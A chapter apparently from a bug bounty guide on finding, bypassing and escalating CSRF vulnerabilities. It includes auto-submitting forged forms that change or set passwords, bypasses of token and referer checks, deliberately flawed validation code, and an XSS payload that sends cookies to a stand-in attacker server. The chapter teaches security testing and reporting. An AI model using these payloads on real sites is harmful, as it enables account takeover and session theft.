Hunting for CSRFs

CSRFs are common and easy to exploit. To look for them, start by discovering state-changing requests that aren't shielded by CSRF protections. Here's a three-step process for doing so. Remember that because browsers like Chrome offer automatic CSRF protection, you need to test with another browser, such as Firefox.

Step 1: Spot State-Changing Actions

Actions that alter the users' data are called *state-changing actions*. For example, sending tweets and modifying user settings are both state-changing. The first step of spotting CSRFs is to log in to your target site and browse through it in search of any activity that alters data.

For example, let's say you're testing *email.example.com*, a subdomain of *example.com* that handles email. Go through all the app's functionalities, clicking all the links. Intercept the generated requests with a proxy like Burp and write down their URL endpoints.

Record these endpoints one by one, in a list like the following, so you can revisit and test them later:

State-changing requests on *email.example.com*

- Change password: *email.example.com/password_change*

  POST request

  Request parameters: `new_password`

- Send email: *email.example.com/send_email*

  POST request

  Request parameters: `draft_id`, `recipient_id`

- Delete email: *email.example.com/delete_email*

  POST request

  Request parameters: `email_id`

Step 2: Look for a Lack of CSRF Protections

Now visit these endpoints to test them for CSRFs. First, open up Burp Suite and start intercepting all the requests to your target site in the Proxy tab. Toggle the **Intercept** button until it reads **Intercept is on** (Figure 9-3).

*Figure 9-3: Set to Intercept is on to capture your browser's traffic. Click the **Forward** button to forward the current request to the server.*

Let Burp run in the background to record other traffic related to your target site while you're actively hunting for CSRFs. Keep clicking the **Forward** button until you encounter the request associated with the state-changing action. For example, let's say you're testing whether the password-change function you discovered is vulnerable to CSRFs. You've intercepted the request in your Burp proxy:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123
```

In the intercepted request, look for signs of CSRF protection mechanisms. Use the search bar at the bottom of the window to look for the string `"csrf"` or `"state"`. CSRF tokens can come in many forms besides POST body parameters; they sometimes show up in request headers, cookies, and URL parameters as well. For example, they might show up like the cookie here:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b

(POST request body)
new_password=abc123
```

But even if you find a CSRF protection present on the endpoint, you could try a variety of protection-bypass techniques. I'll talk about them later in the chapter.

Step 3: Confirm the Vulnerability

After you've found a potentially vulnerable endpoint, you'll need to confirm the vulnerability. You can do this by crafting a malicious HTML form that imitates the request sent by the legitimate site.

Craft an HTML page like this in your text editor. Make sure to save it with an *.html* extension! This way, your computer will open the file with a browser by default:

```
<html>
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form"> ❶
    <input type="text" name="new_password" value="abc123"> ❷
    <input type="submit" value="Submit"> ❸
  </form>
  <script>document.getElementById("csrf-form").submit();</script> ❹
</html>
```

The `<form>` tag specifies that you're defining an HTML form. An HTML form's `method` attribute specifies the HTML method of the request generated by the form, and the `action` attribute specifies where the request will be

sent to ❶. The form generates a POST request to the endpoint *https://email.example.com/password_change*. Next are two input tags. The first one defines a POST parameter with the name `new_password` and the value `abc123` ❷. The second one specifies a `Submit` button ❸. Finally, the `<script>` tag at the bottom of the page contains JavaScript code that submits the form automatically ❹.

Open the HTML page in the browser that is signed into your target site. This form will generate a request like this:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123
```

Check if your password on *email.example.com* has been changed to `abc123`. In other words, check if the target server has accepted the request generated by your HTML page. The goal is to prove that a foreign site can carry out state-changing actions on a user's behalf.

Finally, some websites might be missing CSRF tokens but still protect against CSRF attacks by checking if the referer header of the request matches a legitimate URL. Checking the referer header protects against CSRF, because these headers help servers filter out requests that have originated from foreign sites. Confirming a CSRF vulnerability like this can help you rule out endpoints that have referer-based CSRF protection.

However, it's important for developers to remember that referer headers can be manipulated by attackers and aren't a foolproof mitigation solution. Developers should implement a combination of CSRF tokens and `SameSite` session cookies for the best protection.

Bypassing CSRF Protection

Modern websites are becoming more secure. These days, when you examine requests that deal with sensitive actions, they'll often have some form of CSRF protection. However, the existence of protections doesn't mean that the protection is comprehensive, well implemented, and impossible to bypass. If the protection is incomplete or faulty, you might still be able to achieve a CSRF attack with a few modifications to your payload. Let's talk about techniques you can use to bypass CSRF protection implemented on websites.

Exploit Clickjacking

If the endpoint uses CSRF tokens but the page itself is vulnerable to clickjacking, an attack discussed in Chapter 8, you can exploit clickjacking to achieve the same results as a CSRF.

This is because, in a clickjacking attack, an attacker uses an iframe to frame the page in a malicious site while having the state-changing request

originate from the legitimate site. If the page where the vulnerable endpoint is located is vulnerable to clickjacking, you'll be able to achieve the same results as a CSRF attack on the endpoint, albeit with a bit more effort and CSS skills.

Check a page for clickjacking by using an HTML page like the following one. You can place a page in an iframe by specifying its URL as the `src` attribute of an `<iframe>` tag. Then, render the HTML page in your browser. If the page that the state-changing function is located in appears in your iframe, the page is vulnerable to clickjacking:

```
<html>
  <head>
    <title>Clickjack test page</title>
  </head>
  <body>
    <p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
    <iframe src="PAGE_URL" width="500" height="500"></iframe>
  </body>
</html>
```

Then you could use clickjacking to trick users into executing the state-changing action. Refer to Chapter 8 to learn how this attack works.

Change the Request Method

Another trick you can use to bypass CSRF protections is changing the request method. Sometimes sites will accept multiple request methods for the same endpoint, but protection might not be in place for each of those methods. By changing the request method, you might be able to get the action executed without encountering CSRF protection.

For example, say the POST request of the password-change endpoint is protected by a CSRF token, like this:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
```

You can try to send the same request as a GET request and see if you can get away with not providing a CSRF token:

```
GET /password_change?new_password=abc123
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
```

In this case, your malicious HTML page could simply look like this:

```
<html>
  <img src="https://email.example.com/password_change?new_password=abc123"/>
</html>
```

The HTML `<img>` tag loads images from external sources. It will send a GET request to the URL specified in its `src` attribute.

If the password change occurs after you load this HTML page, you can confirm that the endpoint is vulnerable to CSRF via a GET request. On the other hand, if the original action normally uses a GET request, you can try converting it into a POST request instead.

Bypass CSRF Tokens Stored on the Server

But what if neither clickjacking nor changing the request method works? If the site implements CSRF protection via tokens, here are a few more things that you can try.

Just because a site uses CSRF tokens doesn't mean it is validating them properly. If the site isn't validating CSRF tokens in the right way, you can still achieve CSRF with a few modifications of your malicious HTML page.

First, try deleting the token parameter or sending a blank token parameter. For example, this will send the request without a `csrf_token` parameter:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123
```

You can generate this request with an HTML form like this:

```
<html>
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>
```

This next request will send a blank `csrf_token` parameter:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=
```

You can generate a payload like this by using an HTML form like the following:

```
<html>
  <form method="POST" action="https://email.example.com/password_change" id"csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type="text" name="csrf_token" value="">
    <input type='submit' value="Submit">
```

```
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>
```

Deleting the token parameter or sending a blank token often works because of a common application logic mistake. Applications sometimes check the validity of the token only *if* the token exists, or if the token parameter is not blank. The code for an insecure application's validation mechanism might look roughly like this:

```
def validate_token():
❶ if (request.csrf_token == session.csrf_token):
    pass
  else:
❷ throw_error("CSRF token incorrect. Request rejected.")
[...]

def process_state_changing_action():
  if request.csrf_token:
    validate_token()
❸ execute_action()
```

This fragment of Python code first checks whether the CSRF token exists ❶. If it exists, the code will proceed to validate the token. If the token is valid, the code will continue. If the token is invalid, the code will stop the execution and produce an error ❷. On the other hand, if the token does not exist, the code will skip validation and jump to executing the action right away ❸. In this case, sending a request without the token, or a blank value as the token, may mean the server won't attempt to validate the token at all.

You can also try submitting the request with another session's CSRF token. This works because some applications might check only whether the token is valid, without confirming that it belongs to the current user. Let's say the victim's token is `871caef0757a4ac9691aceb9aad8b65b`, and yours is *`YOUR_TOKEN`*. Even though it's hard to get the victim's token, you can obtain your own token easily, so try providing your own token in the place of the legitimate token. You can also create another test account to generate tokens if you don't want to use your own tokens. For example, your exploit code might look like this:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=YOUR_TOKEN
```

The faulty application logic might look something like this:

```
def validate_token():
  if request.csrf_token:
❶  if (request.csrf_token in valid_csrf_tokens):
    pass
```

```
  else:
    throw_error("CSRF token incorrect. Request rejected.")

[...]

def process_state_changing_action():
  validate_token()
❷ execute_action()
```

The Python code here first validates the CSRF token. If the token is in a list of current valid tokens ❶, execution continues and the state-changing action is executed ❷. Otherwise, an error is generated and execution halts. If this is the case, you can insert your own CSRF token into the malicious request!

Bypass Double-Submit CSRF Tokens

Sites also commonly use a *double-submit cookie* as a defense against CSRF. In this technique, the state-changing request contains the same random token as both a cookie and a request parameter, and the server checks whether the two values are equal. If the values match, the request is seen as legitimate. Otherwise, the application rejects it. For example, this request would be deemed valid, because the `csrf_token` in the user's cookies matches the `csrf_token` in the POST request parameter:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
```

And the following one would fail. Notice that the `csrf_token` in the user's cookies is different from the `csrf_token` in the POST request parameter. In a double-submit token validation system, it does not matter whether the tokens themselves are valid. The server checks only whether the token in the cookies is the same as the token in the request parameters:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=1aceb9aad8b65b871caef0757a4ac969

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b
```

If the application uses double-submit cookies as its CSRF defense mechanism, it's probably not keeping records of the valid token server-side. If the server were keeping records of the CSRF token server-side, it could simply validate the token when it was sent over, and the application would not need to use double-submit cookies in the first place.

The server has no way of knowing if any token it receives is actually legitimate; it's merely checking that the token in the cookie and the token in the request body is the same. In other words, this request, which enters the same bogus value as both the cookie and request parameter, would also be seen as legitimate:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token

(POST request body)
new_password=abc123&csrf_token=not_a_real_token
```

Generally, you shouldn't have the power to change another user's cookies. But if you can find a way to make the victim's browser send along a fake cookie, you'll be able to execute the CSRF.

The attack would then consist of two steps: first, you'd use a session-fixation technique to make the victim's browser store whatever value you choose as the CSRF token cookie. *Session fixation* is an attack that allows attackers to select the session cookies of the victim. We do not cover session fixations in this book, but you can read about them on Wikipedia (*https://en.wikipedia.org/wiki/Session_fixation*). Then, you'd execute the CSRF with the same CSRF token that you chose as the cookie.

Bypass CSRF Referer Header Check

What if your target site isn't using CSRF tokens but checking the referer header instead? The server might verify that the referer header sent with the state-changing request is a part of the website's allowlisted domains. If it is, the site would execute the request. Otherwise, it would deem the request to be fake and reject it. What can you do to bypass this type of protection?

First, you can try to remove the referer header. Like sending a blank token, sometimes all you need to do to bypass a referer check is to not send a referer at all. To remove the referer header, add a `<meta>` tag to the page hosting your request form:

```
<html>
  <meta name="referrer" content="no-referrer">
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>
```

This particular `<meta>` tag tells the browser to not include a referer header in the resulting HTTP request.

The faulty application logic might look like this:

```
def validate_referer():
  if (request.referer in allowlisted_domains):
```

```
    pass
  else:
    throw_error("Referer incorrect. Request rejected.")

[...]

def process_state_changing_action():
  if request.referer:
    validate_referer()
  execute_action()
```

Since the application validates the referer header only if it exists, you've successfully bypassed the website's CSRF protection just by making the victim's browser omit the referer header!

You can also try to bypass the logic check used to validate the referer URL. Let's say the application looks for the string `"example.com"` in the referer URL, and if the referer URL contains that string, the application treats the request as legitimate. Otherwise, it rejects the request:

```
def validate_referer():
  if request.referer:
    if ("example.com" in request.referer):
      pass
  else:
    throw_error("Referer incorrect. Request rejected.")

[...]

def process_state_changing_action():
  validate_referer()
  execute_action()
```

In this case, you can bypass the referer check by placing the victim domain name in the referer URL as a subdomain. You can achieve this by creating a subdomain named after the victim's domain, and then hosting the malicious HTML on that subdomain. Your request would look like this:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: example.com.attacker.com

(POST request body)
new_password=abc123
```

You can also try placing the victim domain name in the referer URL as a pathname. You can do so by creating a file with the name of the target's domain and hosting your HTML page there:

```
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: attacker.com/example.com
```

```
(POST request body)
new_password=abc123
```

After you've uploaded your HTML page at the correct location, load that page and see if the state-changing action was executed.

Bypass CSRF Protection by Using XSS

In addition, as I mentioned in Chapter 6, any XSS vulnerability will defeat CSRF protections, because XSS will allow attackers to steal the legitimate CSRF token and then craft forged requests by using `XMLHttpRequest`. Often, attackers will find XSS as the starting point to launch CSRFs to take over admin accounts.

Escalating the Attack

After you've found a CSRF vulnerability, don't just report it right away! Here are a few ways you can escalate CSRFs into severe security issues to maximize the impact of your report. Often, you need to use a combination of CSRF and other minor design flaws to discover these.

Leak User Information by Using CSRF

CSRF can sometimes cause information leaks as a side effect. Applications often send or disclose information according to user preferences. If you can change these settings via CSRF, you can pave the way for sensitive information disclosures.

For example, let's say the *example.com* web application sends monthly billing emails to a user-designated email address. These emails contain the users' billing information, including street addresses, phone numbers, and credit card information. The email address to which these billing emails are sent can be changed via the following request:

```
POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=NEW_EMAIL&csrf_token=871caef0757a4ac9691aceb9aad8b65b
```

Unfortunately, the CSRF validation on this endpoint is broken, and the server accepts a blank token. The request would succeed even if the `csrf_token` field is left empty:

```
POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=NEW_EMAIL&csrf_token=
```

An attacker could make a victim user send this request via CSRF to change the destination of their billing emails:

```
POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=ATTACKER_EMAIL&csrf_token=
```

All future billing emails would then be sent to the attacker's email address until the victim notices the unauthorized change. Once the billing email is sent to the attacker's email address, the attacker can collect sensitive information, such as street addresses, phone numbers, and credit card information associated with the account.

Create Stored Self-XSS by Using CSRF

Remember from Chapter 6 that self-XSS is a kind of XSS attack that requires the victim to input the XSS payload. These vulnerabilities are almost always considered a nonissue because they're too difficult to exploit; doing so requires a lot of action from the victim's part, and thus you're unlikely to succeed. However, when you combine CSRF with self-XSS, you can often turn the self-XSS into stored XSS.

For example, let's say that *example.com*'s financial subdomain, *finance.example.com*, gives users the ability to create nicknames for each of their linked bank accounts. The account nickname field is vulnerable to self-XSS: there is no sanitization, validation, or escaping for user input on the field. However, only the user can edit and see this field, so there is no way for an attacker to trigger the XSS directly.

However, the endpoint used to change the account nicknames is vulnerable to CSRF. The application doesn't properly validate the existence of the CSRF token, so simply omitting the token parameter in the request will bypass CSRF protection. For example, this request would fail, because it contains the wrong token:

```
POST /change_account_nickname
Host: finance.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
account=0
&nickname="<script>document.location='http://attacker_server_ip/
cookie_stealer.php?c='+document.cookie;</script>"
&csrf_token=WRONG_TOKEN
```

But this request, with no token at all, would succeed:

```
POST /change_account_nickname
Host: finance.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
```

```
(POST request body)
account=0
&nickname="<script>document.location='http://attacker_server_ip/
cookie_stealer.php?c='+document.cookie;</script>"
```

This request will change the user's account nickname and store the XSS payload there. The next time a user logs into the account and views their dashboard, they'll trigger the XSS.

Take Over User Accounts by Using CSRF

Sometimes CSRF can even lead to account takeover. These situations aren't uncommon, either; account takeover issues occur when a CSRF vulnerability exists in critical functionality, like the code that creates a password, changes the password, changes the email address, or resets the password.

For example, let's say that in addition to signing up by using an email address and password, *example.com* also allows users to sign up via their social media accounts. If a user chooses this option, they're not required to create a password, as they can simply log in via their linked account. But to give users another option, those who've signed up via social media can set a new password via the following request:

```
POST /set_password
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
password=XXXXX&csrf_token=871caef0757a4ac9691aceb9aad8b65b
```

Since the user signed up via their social media account, they don't need to provide an old password to set the new password, so if CSRF protection fails on this endpoint, an attacker would have the ability to set a password for anyone who signed up via their social media account and hasn't yet done so.

Let's say the application doesn't validate the CSRF token properly and accepts an empty value. The following request will set a password for anyone who doesn't already have one set:

```
POST /set_password
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
password=XXXXX&csrf_token=
```

Now all an attacker has to do is to post a link to this HTML page on pages frequented by users of the site, and they can automatically assign the password of any user who visits the malicious page:

```
<html>
  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
    <input type="text" name="new_password" value="this_account_is_now_mine">
```

```
    <input type="text" name="csrf_token" value="">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>
```

After that, the attacker is free to log in as any of the affected victims with the newly assigned password `this_account_is_now_mine`.

While the majority of CSRFs that I have encountered were low-severity issues, sometimes a CSRF on a critical endpoint can lead to severe consequences.

Delivering the CSRF Payload

Quite often in bug bounty reports, you'll need to show companies that attackers can reliably deliver a CSRF payload. What options do attackers have to do so?

The first and simplest option of delivering a CSRF payload is to trick users into visiting an external malicious site. For example, let's say *example.com* has a forum that users frequent. In this case, attackers can post a link like this on the forum to encourage users to visit their page:

> Visit this page to get a discount on your *example.com* subscription:
> *https://example.attacker.com*

And on *example.attacker.com*, the attacker can host an auto-submitting form to execute the CSRF:

```
<html>
  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
    <input type="text" name="new_password" value="this_account_is_now_mine">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>
```

For CSRFs that you could execute via a GET request, attackers can often embed the request as an image directly—for example, as an image posted to a forum. This way, any user who views the forum page would be affected:

```
<img src="https://email.example.com/set_password?new_password=this_account_is_now_mine">
```

Finally, attackers can deliver a CSRF payload to a large audience by exploiting stored XSS. If the forum comment field suffers from this vulnerability, an attacker can submit a stored-XSS payload there to make any forum visitor execute the attacker's malicious script. In the malicious script, the attacker can include code that sends the CSRF payload:

```
<script>
  document.body.innerHTML += "
    <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
```

```
      <input type="text" name="new_password" value="this_account_is_now_mine">
      <input type='submit' value="Submit">
    </form>";
  document.getElementById("csrf-form").submit();
</script>
```

This piece of JavaScript code adds our exploit form to the user's current page and then auto-submits that form.

Using these delivery methods, you can show companies how attackers can realistically attack many users and demonstrate the maximum impact of your CSRF vulnerability. If you have Burp Suite Pro, or use the ZAP proxy, you can also take advantage of their CSRF POC-generation functionality. For more information, search the tools' documentation for *CSRF POC generation*. You can also keep a POC script you wrote yourself and insert a target site's URLs into the script every time you test a new target.

Finding Your First CSRF!

Armed with this knowledge about CSRF bugs, bypassing CSRF protection, and escalating CSRF vulnerabilities, you're now ready to look for your first CSRF vulnerability! Hop on a bug bounty program and find your first CSRF by following the steps covered in this chapter:

1. Spot the state-changing actions on the application and keep a note on their locations and functionality.
2. Check these functionalities for CSRF protection. If you can't spot any protections, you might have found a vulnerability!
3. If any CSRF protection mechanisms are present, try to bypass the protection by using the protection-bypass techniques mentioned in this chapter.
4. Confirm the vulnerability by crafting a malicious HTML page and visiting that page to see if the action has executed.
5. Think of strategies for delivering your payload to end users.
6. Draft your first CSRF report!